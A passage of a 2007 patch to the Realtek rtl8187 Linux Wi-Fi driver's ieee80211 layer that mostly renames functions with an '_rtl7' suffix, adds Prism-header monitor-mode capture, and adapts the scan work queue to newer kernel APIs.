*crypt = ieee->crypt[i]; @@ -191,7 +194,7 @@ } } - ieee80211_networks_free(ieee); + ieee80211_networks_free_rtl7(ieee); for (i = 0; i < IEEE_IBSS_MAC_HASH_SIZE; i++) { list_for_each_safe(p, q, &ieee->ibss_mac_hash[i]) { @@ -210,13 +213,13 @@ u32 ieee80211_debug_level = 0; struct proc_dir_entry *ieee80211_proc = NULL; -static int show_debug_level(char *page, char **start, off_t offset, +static int show_debug_level_rtl7(char *page, char **start, off_t offset, int count, int *eof, void *data) { return snprintf(page, count, "0x%08X\n", ieee80211_debug_level); } -static int store_debug_level(struct file *file, const char *buffer, +static int store_debug_level_rtl7(struct file *file, const char *buffer, unsigned long count, void *data) { char buf[] = "0x00000000"; @@ -243,7 +246,7 @@ return strnlen(buf, count); } -static int __init ieee80211_init(void) +static int __init ieee80211_init_rtl7(void) { struct proc_dir_entry *e; @@ -268,7 +271,7 @@ return 0; } -static void __exit ieee80211_exit(void) +static void __exit ieee80211_exit_rtl7(void) { if (ieee80211_proc) { remove_proc_entry("debug_level", ieee80211_proc); @@ -282,9 +285,9 @@ MODULE_PARM_DESC(debug, "debug output mask"); -module_exit(ieee80211_exit); -module_init(ieee80211_init); +module_exit(ieee80211_exit_rtl7); +module_init(ieee80211_init_rtl7); #endif -EXPORT_SYMBOL(alloc_ieee80211); -EXPORT_SYMBOL(free_ieee80211); +EXPORT_SYMBOL(alloc_ieee80211_rtl7); +EXPORT_SYMBOL(free_ieee80211_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_rx.c rtl8187_txpower/ieee80211/ieee80211_rx.c --- rtl8187_orig/ieee80211/ieee80211_rx.c 2006-06-06 04:58:00.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_rx.c 2007-03-05 00:31:52.485345087 +0100 @@ -22,7 +22,6 @@ #include -#include #include #include #include @@ -43,18 +42,83 @@ #include #include +#if (LINUX_VERSION_CODE < KERNEL_VERSION(2,6,19)) +#include +#endif + + #include "ieee80211.h" -static inline void ieee80211_monitor_rx(struct ieee80211_device *ieee, +static inline void ieee80211_monitor_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { - struct ieee80211_hdr *hdr = (struct ieee80211_hdr *)skb->data; - u16 fc = le16_to_cpu(hdr->frame_ctl); + struct ieee80211_hdr *hdr1 = (struct ieee80211_hdr *)skb->data; + u16 fc = le16_to_cpu(hdr1->frame_ctl); + int prism_header; + int hdrlen, phdrlen, head_need, tail_need; + + if (ieee->dev->type == ARPHRD_IEEE80211_PRISM) { + prism_header = 1; + phdrlen = sizeof(struct linux_wlan_ng_prism_hdr); + } else { + prism_header = 0; + phdrlen = 0; + } + + hdrlen = ieee80211_get_hdrlen_rtl7(fc); + + /* check if there is enough room for extra data; if not, expand skb + * buffer to be large enough for the changes */ + head_need = phdrlen; + tail_need = 0; +#ifdef PRISM2_ADD_BOGUS_CRC + tail_need += 4; +#endif /* PRISM2_ADD_BOGUS_CRC */ + + head_need -= skb_headroom(skb); + tail_need -= skb_tailroom(skb); + + if (head_need > 0 || tail_need > 0) { + if (pskb_expand_head(skb, head_need > 0 ? head_need : 0, + tail_need > 0 ? tail_need : 0, + GFP_ATOMIC)) { + printk(KERN_DEBUG "%s: ieee80211_rx failed to " + "reallocate skb buffer\n", ieee->dev->name); + dev_kfree_skb_any(skb); + return; + } + } + + if (prism_header == 1) { + struct linux_wlan_ng_prism_hdr *hdr; + hdr = (struct linux_wlan_ng_prism_hdr *) + skb_push(skb, phdrlen); + memset(hdr, 0, phdrlen); + hdr->msgcode = LWNG_CAP_DID_BASE; + hdr->msglen = sizeof(*hdr); + memcpy(hdr->devname, ieee->dev->name, sizeof(hdr->devname)); +#define LWNG_SETVAL(f,i,s,l,d) \ +hdr->f.did = LWNG_CAP_DID_BASE | (i << 12); \ +hdr->f.status = s; hdr->f.len = l; hdr->f.data = d + LWNG_SETVAL(hosttime, 1, 0, 4, jiffies); + LWNG_SETVAL(mactime, 2, 0, 4, ((u32)rx_stats->mac_time)); + LWNG_SETVAL(channel, 3, 1 /* no value */, 4, 0); + LWNG_SETVAL(rssi, 4, 1 /* no value */, 4, 0); + LWNG_SETVAL(sq, 5, 1 /* no value */, 4, 0); + LWNG_SETVAL(signal, 6, 0, 4, rx_stats->signal); + LWNG_SETVAL(noise, 7, 0, 4, rx_stats->noise); + LWNG_SETVAL(rate, 8, 0, 4, rx_stats->rate / 5); + LWNG_SETVAL(istx, 9, 0, 4, 0); + LWNG_SETVAL(frmlen, 10, 0, 4, skb->len - phdrlen); +#undef LWNG_SETVAL + } skb->dev = ieee->dev; skb->mac.raw = skb->data; - skb_pull(skb, ieee80211_get_hdrlen(fc)); + skb_pull(skb, hdrlen); + if (prism_header) + skb_pull(skb, phdrlen); skb->pkt_type = PACKET_OTHERHOST; skb->protocol = __constant_htons(ETH_P_80211_RAW); memset(skb->cb, 0, sizeof(skb->cb)); @@ -64,7 +128,7 @@ /* Called only as a tasklet (software IRQ) */ static struct ieee80211_frag_entry * -ieee80211_frag_cache_find(struct ieee80211_device *ieee, unsigned int seq, +ieee80211_frag_cache_find_rtl7(struct ieee80211_device *ieee, unsigned int seq, unsigned int frag, u8 *src, u8 *dst) { struct ieee80211_frag_entry *entry; @@ -94,7 +158,7 @@ /* Called only as a tasklet (software IRQ) */ static struct sk_buff * -ieee80211_frag_cache_get(struct ieee80211_device *ieee, +ieee80211_frag_cache_get_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { struct sk_buff *skb = NULL; @@ -133,7 +197,7 @@ } else { /* received a fragment of a frame for which the head fragment * should have already been received */ - entry = ieee80211_frag_cache_find(ieee, seq, frag, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, frag, hdr->addr2, hdr->addr1); if (entry != NULL) { entry->last_frag = frag; @@ -146,7 +210,7 @@ /* Called only as a tasklet (software IRQ) */ -static int ieee80211_frag_cache_invalidate(struct ieee80211_device *ieee, +static int ieee80211_frag_cache_invalidate_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *hdr) { u16 sc; @@ -156,7 +220,7 @@ sc = le16_to_cpu(hdr->seq_ctl); seq = WLAN_GET_SEQ_SEQ(sc); - entry = ieee80211_frag_cache_find(ieee, seq, -1, hdr->addr2, + entry = ieee80211_frag_cache_find_rtl7(ieee, seq, -1, hdr->addr2, hdr->addr1); if (entry == NULL) { @@ -178,7 +242,7 @@ * * Called by ieee80211_rx */ static inline int -ieee80211_rx_frame_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { @@ -187,8 +251,8 @@ * response parser uses it */ rx_stats->len = skb->len; - ieee80211_rx_mgt(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); - ieee80211_rx_frame_softmac(ieee, skb, rx_stats, type, stype); + ieee80211_rx_mgt_rtl7(ieee,(struct ieee80211_hdr *)skb->data,rx_stats); + ieee80211_rx_frame_softmac_rtl7(ieee, skb, rx_stats, type, stype); dev_kfree_skb_any(skb); @@ -253,7 +317,7 @@ /* No encapsulation header if EtherType < 0x600 (=length) */ /* Called by ieee80211_rx_frame_decrypt */ -static int ieee80211_is_eapol_frame(struct ieee80211_device *ieee, +static int ieee80211_is_eapol_frame_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { struct net_device *dev = ieee->dev; @@ -294,7 +358,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -304,7 +368,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); #ifdef CONFIG_IEEE80211_CRYPT_TKIP if (ieee->tkip_countermeasures && @@ -339,7 +403,7 @@ /* Called only as a tasklet (software IRQ), by ieee80211_rx */ static inline int -ieee80211_rx_frame_decrypt_msdu(struct ieee80211_device* ieee, struct sk_buff *skb, +ieee80211_rx_frame_decrypt_msdu_rtl7(struct ieee80211_device* ieee, struct sk_buff *skb, int keyidx, struct ieee80211_crypt_data *crypt) { struct ieee80211_hdr *hdr; @@ -349,7 +413,7 @@ return 0; hdr = (struct ieee80211_hdr *) skb->data; - hdrlen = ieee80211_get_hdrlen(le16_to_cpu(hdr->frame_ctl)); + hdrlen = ieee80211_get_hdrlen_rtl7(le16_to_cpu(hdr->frame_ctl)); atomic_inc(&crypt->refcnt); res = crypt->ops->decrypt_msdu(skb, keyidx, hdrlen, crypt->priv); @@ -367,7 +431,7 @@ /* this function is stolen from ipw2200 driver*/ #define IEEE_PACKET_RETRY_TIME (5*HZ) -static int is_duplicate_packet(struct ieee80211_device *ieee, +static int is_duplicate_packet_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header) { // u16 fc = le16_to_cpu(header->frame_ctl); @@ -444,7 +508,7 @@ /* All received frames are sent to this function. @skb contains the frame in * IEEE 802.11 format, i.e., in the format it was sent over air. * This function is called only as a tasklet (software IRQ). */ -int ieee80211_rx(struct ieee80211_device *ieee, struct sk_buff *skb, +int ieee80211_rx_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats) { struct net_device *dev = ieee->dev; @@ -483,7 +547,7 @@ sc = le16_to_cpu(hdr->seq_ctl); frag = WLAN_GET_SEQ_FRAG(sc); - hdrlen = ieee80211_get_hdrlen(fc); + hdrlen = ieee80211_get_hdrlen_rtl7(fc); #ifdef NOT_YET #if WIRELESS_EXT > 15 @@ -501,12 +565,12 @@ } #endif /* IW_WIRELESS_SPY */ #endif /* WIRELESS_EXT > 15 */ - hostap_update_rx_stats(local->ap, hdr, rx_stats); + hostap_update_rx_stats_rtl7(local->ap, hdr, rx_stats); #endif #if WIRELESS_EXT > 15 if (ieee->iw_mode == IW_MODE_MONITOR) { - ieee80211_monitor_rx(ieee, skb, rx_stats); + ieee80211_monitor_rx_rtl7(ieee, skb, rx_stats); stats->rx_packets++; stats->rx_bytes += skb->len; return 1; @@ -529,7 +593,7 @@ * stations that do not support WEP key mapping). */ if (!(hdr->addr1[0] & 0x01) || local->bcrx_sta_key) - (void) hostap_handle_sta_crypto(local, hdr, &crypt, + (void) hostap_handle_sta_crypto_rtl7(local, hdr, &crypt, &sta); #endif @@ -555,7 +619,7 @@ if (skb->len < IEEE80211_DATA_HDR3_LEN) goto rx_dropped; - if (is_duplicate_packet(ieee, hdr)) + if (is_duplicate_packet_rtl7(ieee, hdr)) goto rx_dropped; @@ -575,7 +639,7 @@ #endif - if (ieee80211_rx_frame_mgmt(ieee, skb, rx_stats, type, stype)) + if (ieee80211_rx_frame_mgmt_rtl7(ieee, skb, rx_stats, type, stype)) goto rx_dropped; else goto rx_exit; @@ -606,7 +670,7 @@ } #ifdef NOT_YET - if (hostap_rx_frame_wds(ieee, hdr, fc, &wds)) + if (hostap_rx_frame_wds_rtl7(ieee, hdr, fc, &wds)) goto rx_dropped; if (wds) { skb->dev = dev = wds; @@ -619,7 +683,7 @@ memcmp(hdr->addr2, ieee->assoc_ap_addr, ETH_ALEN) == 0) { /* Frame from BSSID of the AP for which we are a client */ skb->dev = dev = ieee->stadev; - stats = hostap_get_stats(dev); + stats = hostap_get_stats_rtl7(dev); from_assoc_ap = 1; } #endif @@ -630,7 +694,7 @@ if ((ieee->iw_mode == IW_MODE_MASTER || ieee->iw_mode == IW_MODE_REPEAT) && !from_assoc_ap) { - switch (hostap_handle_sta_rx(ieee, dev, skb, rx_stats, + switch (hostap_handle_sta_rx_rtl7(ieee, dev, skb, rx_stats, wds != NULL)) { case AP_RX_CONTINUE_NOT_AUTHORIZED: frame_authorized = 0; @@ -664,7 +728,7 @@ /* skb: hdr + (possibly fragmented, possibly encrypted) payload */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - (keyidx = ieee80211_rx_frame_decrypt(ieee, skb, crypt)) < 0) + (keyidx = ieee80211_rx_frame_decrypt_rtl7(ieee, skb, crypt)) < 0) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; @@ -674,7 +738,7 @@ // ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && if ((frag != 0 || (fc & IEEE80211_FCTL_MOREFRAGS))) { int flen; - struct sk_buff *frag_skb = ieee80211_frag_cache_get(ieee, hdr); + struct sk_buff *frag_skb = ieee80211_frag_cache_get_rtl7(ieee, hdr); IEEE80211_DEBUG_FRAG("Rx Fragment received (%u)\n", frag); if (!frag_skb) { @@ -694,7 +758,7 @@ printk(KERN_WARNING "%s: host decrypted and " "reassembled frame did not fit skb\n", dev->name); - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); goto rx_dropped; } @@ -722,19 +786,19 @@ * delivered, so remove skb from fragment cache */ skb = frag_skb; hdr = (struct ieee80211_hdr *) skb->data; - ieee80211_frag_cache_invalidate(ieee, hdr); + ieee80211_frag_cache_invalidate_rtl7(ieee, hdr); } /* skb: hdr + (possible reassembled) full MSDU payload; possibly still * encrypted/authenticated */ if (ieee->host_decrypt && (fc & IEEE80211_FCTL_WEP) && - ieee80211_rx_frame_decrypt_msdu(ieee, skb, keyidx, crypt)) + ieee80211_rx_frame_decrypt_msdu_rtl7(ieee, skb, keyidx, crypt)) goto rx_dropped; hdr = (struct ieee80211_hdr *) skb->data; if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep) { if (/*ieee->ieee802_1x &&*/ - ieee80211_is_eapol_frame(ieee, skb)) { + ieee80211_is_eapol_frame_rtl7(ieee, skb)) { #ifdef CONFIG_IEEE80211_DEBUG /* pass unencrypted EAPOL frames even if encryption is * configured */ @@ -763,7 +827,7 @@ #endif if (crypt && !(fc & IEEE80211_FCTL_WEP) && !ieee->open_wep && - !ieee80211_is_eapol_frame(ieee, skb)) { + !ieee80211_is_eapol_frame_rtl7(ieee, skb)) { IEEE80211_DEBUG_DROP( "dropped unencrypted RX data " "frame from " MAC_FMT @@ -896,7 +960,7 @@ #define MGMT_FRAME_FIXED_PART_LENGTH 0x24 -static inline int ieee80211_is_ofdm_rate(u8 rate) +static inline int ieee80211_is_ofdm_rate_rtl7(u8 rate) { switch (rate & ~IEEE80211_BASIC_RATE_MASK) { case IEEE80211_OFDM_RATE_6MB: @@ -913,7 +977,7 @@ } -static inline int ieee80211_network_init( +static inline int ieee80211_network_init_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_network *network, @@ -964,7 +1028,7 @@ switch (info_element->id) { case MFIE_TYPE_SSID: - if (ieee80211_is_empty_essid(info_element->data, + if (ieee80211_is_empty_essid_rtl7(info_element->data, info_element->len)) { network->flags |= NETWORK_EMPTY_ESSID; break; @@ -991,7 +1055,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1014,7 +1078,7 @@ #ifdef CONFIG_IEEE80211_DEBUG p += snprintf(p, sizeof(rates_str) - (p - rates_str), "%02X ", network->rates[i]); #endif - if (ieee80211_is_ofdm_rate(info_element->data[i])) { + if (ieee80211_is_ofdm_rate_rtl7(info_element->data[i])) { network->flags |= NETWORK_HAS_OFDM; if (info_element->data[i] & IEEE80211_BASIC_RATE_MASK) @@ -1147,7 +1211,7 @@ return 1; } - if (ieee80211_is_empty_essid(network->ssid, network->ssid_len)) + if (ieee80211_is_empty_essid_rtl7(network->ssid, network->ssid_len)) network->flags |= NETWORK_EMPTY_ESSID; memcpy(&network->stats, stats, sizeof(network->stats)); @@ -1155,7 +1219,7 @@ return 0; } -static inline int is_same_network(struct ieee80211_network *src, +static inline int is_same_network_rtl7(struct ieee80211_network *src, struct ieee80211_network *dst) { /* A network is only a duplicate if the channel, BSSID, ESSID @@ -1172,7 +1236,7 @@ (dst->capability & WLAN_CAPABILITY_BSS))); } -static inline void update_network(struct ieee80211_network *dst, +static inline void update_network_rtl7(struct ieee80211_network *dst, struct ieee80211_network *src) { memcpy(&dst->stats, &src->stats, sizeof(struct ieee80211_rx_stats)); @@ -1204,7 +1268,7 @@ /* dst->last_associate is not overwritten */ } -static inline void ieee80211_process_probe_response( +static inline void ieee80211_process_probe_response_rtl7( struct ieee80211_device *ieee, struct ieee80211_probe_response *beacon, struct ieee80211_rx_stats *stats) @@ -1239,7 +1303,7 @@ (beacon->capability & (1<<0x1)) ? '1' : '0', (beacon->capability & (1<<0x0)) ? '1' : '0'); - if (ieee80211_network_init(ieee, beacon, &network, stats)) { + if (ieee80211_network_init_rtl7(ieee, beacon, &network, stats)) { IEEE80211_DEBUG_SCAN("Dropped '%s' (" MAC_FMT ") via %s.\n", escape_essid(info_element->data, info_element->len), @@ -1262,11 +1326,11 @@ spin_lock_irqsave(&ieee->lock, flags); - if(is_same_network(&ieee->current_network, &network)) - update_network(&ieee->current_network, &network); + if(is_same_network_rtl7(&ieee->current_network, &network)) + update_network_rtl7(&ieee->current_network, &network); list_for_each_entry(target, &ieee->network_list, list) { - if (is_same_network(target, &network)) + if (is_same_network_rtl7(target, &network)) break; if ((oldest == NULL) || @@ -1306,7 +1370,7 @@ memcpy(target, &network, sizeof(*target)); list_add_tail(&target->list, &ieee->network_list); if(ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } else { IEEE80211_DEBUG_SCAN("Updating '%s' (" MAC_FMT ") via %s.\n", escape_essid(target->ssid, @@ -1321,15 +1385,15 @@ * net and call the new_net handler */ renew = !time_after(target->last_scanned + ieee->scan_age, jiffies); - update_network(target, &network); + update_network_rtl7(target, &network); if(renew && (ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE)) - ieee80211_softmac_new_net(ieee,&network); + ieee80211_softmac_new_net_rtl7(ieee,&network); } spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_rx_mgt(struct ieee80211_device *ieee, +void ieee80211_rx_mgt_rtl7(struct ieee80211_device *ieee, struct ieee80211_hdr *header, struct ieee80211_rx_stats *stats) { @@ -1339,7 +1403,7 @@ IEEE80211_DEBUG_MGMT("received BEACON (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Beacon\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1347,7 +1411,7 @@ IEEE80211_DEBUG_MGMT("received PROBE RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); IEEE80211_DEBUG_SCAN("Probe response\n"); - ieee80211_process_probe_response( + ieee80211_process_probe_response_rtl7( ieee, (struct ieee80211_probe_response *)header, stats); break; @@ -1355,5 +1419,5 @@ } -EXPORT_SYMBOL(ieee80211_rx_mgt); -EXPORT_SYMBOL(ieee80211_rx); +EXPORT_SYMBOL(ieee80211_rx_mgt_rtl7); +EXPORT_SYMBOL(ieee80211_rx_rtl7); diff -Naur rtl8187_orig/ieee80211/ieee80211_softmac.c rtl8187_txpower/ieee80211/ieee80211_softmac.c --- rtl8187_orig/ieee80211/ieee80211_softmac.c 2006-06-19 03:27:33.000000000 +0200 +++ rtl8187_txpower/ieee80211/ieee80211_softmac.c 2007-03-05 00:31:52.525345690 +0100 @@ -20,12 +20,12 @@ #include #include -short ieee80211_is_54g(struct ieee80211_network net) +short ieee80211_is_54g_rtl7(struct ieee80211_network net) { return ((net.rates_ex_len > 0) || (net.rates_len > 4)); } -short ieee80211_is_shortslot(struct ieee80211_network net) +short ieee80211_is_shortslot_rtl7(struct ieee80211_network net) { return (net.capability & WLAN_CAPABILITY_SHORT_SLOT); } @@ -34,7 +34,7 @@ * tag and the EXTENDED RATE MFIE tag if needed. * It encludes two bytes per tag for the tag itself and its len */ -unsigned int ieee80211_MFIE_rate_len(struct ieee80211_device *ieee) +unsigned int ieee80211_MFIE_rate_len_rtl7(struct ieee80211_device *ieee) { unsigned int rate_len = 0; @@ -52,7 +52,7 @@ * Then it updates the pointer so that * it points after the new MFIE tag added. */ -void ieee80211_MFIE_Brate(struct ieee80211_device *ieee, u8 **tag_p) +void ieee80211_MFIE_Brate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) { u8 *tag = *tag_p; @@ -69,7 +69,7 @@ *tag_p = tag; } -void ieee80211_MFIE_Grate(struct ieee80211_device *ieee, u8 **tag_p) +void ieee80211_MFIE_Grate_rtl7(struct ieee80211_device *ieee, u8 **tag_p) { u8 *tag = *tag_p; @@ -92,7 +92,7 @@ *tag_p = tag; } -void enqueue_mgmt(struct ieee80211_device *ieee, struct sk_buff *skb) +void enqueue_mgmt_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { int nh; nh = (ieee->mgmt_queue_head +1) % MGMT_QUEUE_NUM; @@ -110,7 +110,7 @@ //return 0; } -struct sk_buff *dequeue_mgmt(struct ieee80211_device *ieee) +struct sk_buff *dequeue_mgmt_rtl7(struct ieee80211_device *ieee) { struct sk_buff *ret; @@ -125,15 +125,15 @@ return ret; } -void init_mgmt_queue(struct ieee80211_device *ieee) +void init_mgmt_queue_rtl7(struct ieee80211_device *ieee) { ieee->mgmt_queue_tail = ieee->mgmt_queue_head = 0; } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl); +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl); -inline void softmac_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { unsigned long flags; short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; @@ -144,13 +144,13 @@ spin_lock_irqsave(&ieee->lock, flags); /* called with 2nd param 0, no mgmt lock required */ - ieee80211_sta_wakeup(ieee,0); + ieee80211_sta_wakeup_rtl7(ieee,0); if(single){ if(ieee->queue_stop){ - enqueue_mgmt(ieee,skb); + enqueue_mgmt_rtl7(ieee,skb); }else{ header->seq_ctl = cpu_to_le16(ieee->seq_ctrl << 4); @@ -184,7 +184,7 @@ } -inline void softmac_ps_mgmt_xmit(struct sk_buff *skb, struct ieee80211_device *ieee) +inline void softmac_ps_mgmt_xmit_rtl7(struct sk_buff *skb, struct ieee80211_device *ieee) { short single = ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE; @@ -219,7 +219,7 @@ } } -inline struct sk_buff *ieee80211_probe_req(struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_probe_req_rtl7(struct ieee80211_device *ieee) { unsigned int len,rate_len; u8 *tag; @@ -228,7 +228,7 @@ len = ieee->current_network.ssid_len; - rate_len = ieee80211_MFIE_rate_len(ieee); + rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); skb = dev_alloc_skb(sizeof(struct ieee80211_probe_request) + 2 + len + rate_len); @@ -251,21 +251,21 @@ memcpy(tag, ieee->current_network.ssid, len); tag += len; - ieee80211_MFIE_Brate(ieee,&tag); - ieee80211_MFIE_Grate(ieee,&tag); + ieee80211_MFIE_Brate_rtl7(ieee,&tag); + ieee80211_MFIE_Grate_rtl7(ieee,&tag); return skb; } -struct sk_buff *ieee80211_get_beacon_(struct ieee80211_device *ieee); -void ieee80211_send_beacon(struct ieee80211_device *ieee) +struct sk_buff *ieee80211_get_beacon__rtl7(struct ieee80211_device *ieee); +void ieee80211_send_beacon_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; unsigned long flags; - skb = ieee80211_get_beacon_(ieee); + skb = ieee80211_get_beacon__rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_beacons++; } @@ -279,37 +279,37 @@ } -void ieee80211_send_beacon_cb(unsigned long _ieee) +void ieee80211_send_beacon_cb_rtl7(unsigned long _ieee) { struct ieee80211_device *ieee = (struct ieee80211_device *) _ieee; - ieee80211_send_beacon(ieee); + ieee80211_send_beacon_rtl7(ieee); } -void ieee80211_send_probe(struct ieee80211_device *ieee) +void ieee80211_send_probe_rtl7(struct ieee80211_device *ieee) { struct sk_buff *skb; - skb = ieee80211_probe_req(ieee); + skb = ieee80211_probe_req_rtl7(ieee); if (skb){ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->softmac_stats.tx_probe_rq++; } } -void ieee80211_send_probe_requests(struct ieee80211_device *ieee) +void ieee80211_send_probe_requests_rtl7(struct ieee80211_device *ieee) { if (ieee->active_scan && (ieee->softmac_features & IEEE_SOFTMAC_PROBERQ)){ - ieee80211_send_probe(ieee); - ieee80211_send_probe(ieee); + ieee80211_send_probe_rtl7(ieee); + ieee80211_send_probe_rtl7(ieee); } } /* this performs syncro scan blocking the caller until all channels * in the allowed channel map has been checked. */ -void ieee80211_softmac_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_softmac_scan_syncro_rtl7(struct ieee80211_device *ieee) { short ch = 0; @@ -349,7 +349,7 @@ ieee->set_chan(ieee->dev, ch); - ieee80211_send_probe_requests(ieee); + ieee80211_send_probe_requests_rtl7(ieee); /* this prevent excessive time wait when we * need to wait for a syncro scan to end.. @@ -384,11 +384,17 @@ } #endif -void ieee80211_softmac_scan_wq(struct ieee80211_device *ieee) -{ - down(&ieee->scan_sem); - +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_softmac_scan_wq_rtl7(struct work_struct *work) +{ + struct delayed_work *dwork = container_of(work, struct delayed_work, work); + struct ieee80211_device *ieee = container_of(dwork, struct ieee80211_device, softmac_scan_wq); +#else +void ieee80211_softmac_scan_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif short watchdog = 0; + down(&ieee->scan_sem); do{ ieee->current_network.channel = @@ -402,7 +408,7 @@ goto out; ieee->set_chan(ieee->dev, ieee->current_network.channel); - ieee80211_send_probe_requests(ieee); + ieee80211_send_probe_requests_rtl7(ieee); #if 0 ieee->.expires = jiffies + (IEEE80211_SOFTMAC_SCAN_TIME); @@ -427,19 +433,19 @@ #endif -void ieee80211_beacons_start(struct ieee80211_device *ieee) +void ieee80211_beacons_start_rtl7(struct ieee80211_device *ieee) { unsigned long flags; spin_lock_irqsave(&ieee->beacon_lock,flags); ieee->beacon_txing = 1; - ieee80211_send_beacon(ieee); + ieee80211_send_beacon_rtl7(ieee); spin_unlock_irqrestore(&ieee->beacon_lock,flags); } -void ieee80211_beacons_stop(struct ieee80211_device *ieee) +void ieee80211_beacons_stop_rtl7(struct ieee80211_device *ieee) { unsigned long flags; @@ -453,25 +459,25 @@ } -void ieee80211_stop_send_beacons(struct ieee80211_device *ieee) +void ieee80211_stop_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->stop_send_beacons) ieee->stop_send_beacons(ieee->dev); if (ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_stop(ieee); + ieee80211_beacons_stop_rtl7(ieee); } -void ieee80211_start_send_beacons(struct ieee80211_device *ieee) +void ieee80211_start_send_beacons_rtl7(struct ieee80211_device *ieee) { if(ieee->start_send_beacons) ieee->start_send_beacons(ieee->dev); if(ieee->softmac_features & IEEE_SOFTMAC_BEACONS) - ieee80211_beacons_start(ieee); + ieee80211_beacons_start_rtl7(ieee); } -void ieee80211_softmac_stop_scan(struct ieee80211_device *ieee) +void ieee80211_softmac_stop_scan_rtl7(struct ieee80211_device *ieee) { // unsigned long flags; @@ -490,22 +496,22 @@ up(&ieee->scan_sem); } -void ieee80211_stop_scan(struct ieee80211_device *ieee) +void ieee80211_stop_scan_rtl7(struct ieee80211_device *ieee) { if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_stop_scan(ieee); + ieee80211_softmac_stop_scan_rtl7(ieee); else ieee->stop_scan(ieee->dev); } /* called with ieee->lock held */ -void ieee80211_start_scan(struct ieee80211_device *ieee) +void ieee80211_start_scan_rtl7(struct ieee80211_device *ieee) { if (ieee->softmac_features & IEEE_SOFTMAC_SCAN){ if (ieee->scanning == 0){ ieee->scanning = 1; //ieee80211_softmac_scan(ieee); - queue_work(ieee->wq, &ieee->softmac_scan_wq); + queue_delayed_work(ieee->wq, &ieee->softmac_scan_wq, 0); } }else ieee->start_scan(ieee->dev); @@ -513,18 +519,18 @@ } /* called with wx_sem held */ -void ieee80211_start_scan_syncro(struct ieee80211_device *ieee) +void ieee80211_start_scan_syncro_rtl7(struct ieee80211_device *ieee) { ieee->sync_scan_hurryup = 0; if (ieee->softmac_features & IEEE_SOFTMAC_SCAN) - ieee80211_softmac_scan_syncro(ieee); + ieee80211_softmac_scan_syncro_rtl7(ieee); else ieee->scan_syncro(ieee->dev); } -inline struct sk_buff *ieee80211_authentication_req(struct ieee80211_network *beacon, +inline struct sk_buff *ieee80211_authentication_req_rtl7(struct ieee80211_network *beacon, struct ieee80211_device *ieee, int challengelen) { struct sk_buff *skb; @@ -557,7 +563,7 @@ } -static struct sk_buff* ieee80211_probe_resp(struct ieee80211_device *ieee, u8 *dest) +static struct 